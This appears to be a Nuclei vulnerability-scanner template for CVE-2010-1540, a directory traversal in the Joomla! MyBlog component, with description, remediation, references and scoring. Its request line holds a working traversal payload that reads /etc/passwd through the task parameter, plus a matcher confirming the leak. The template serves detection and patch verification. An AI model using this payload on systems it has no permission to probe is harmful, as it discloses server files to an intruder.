id: CVE-2010-1540

info:
  name: Joomla! Component com_blog - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the directory traversal vulnerability in com_blog component.
  reference:
    - https://www.exploit-db.com/exploits/11625
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1540
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1540
    cwe-id: CWE-22
    epss-score: 0.0045
    epss-percentile: 0.72402
    cpe: cpe:2.3:a:myblog:com_myblog:3.0.329:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: myblog
    product: com_myblog
  tags: cve2010,cve,joomla,lfi,edb,myblog

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100853ab92a94122428ef783d809d2344f7e06f86bf4da63122b22b0a1e3a0d6e8c022100c6d26c261af1b18db84a007d7cb10ecc069fd53aa90a15ccc8ce97c046c6ad2c:922c64590222798bb761d5b6d8e72950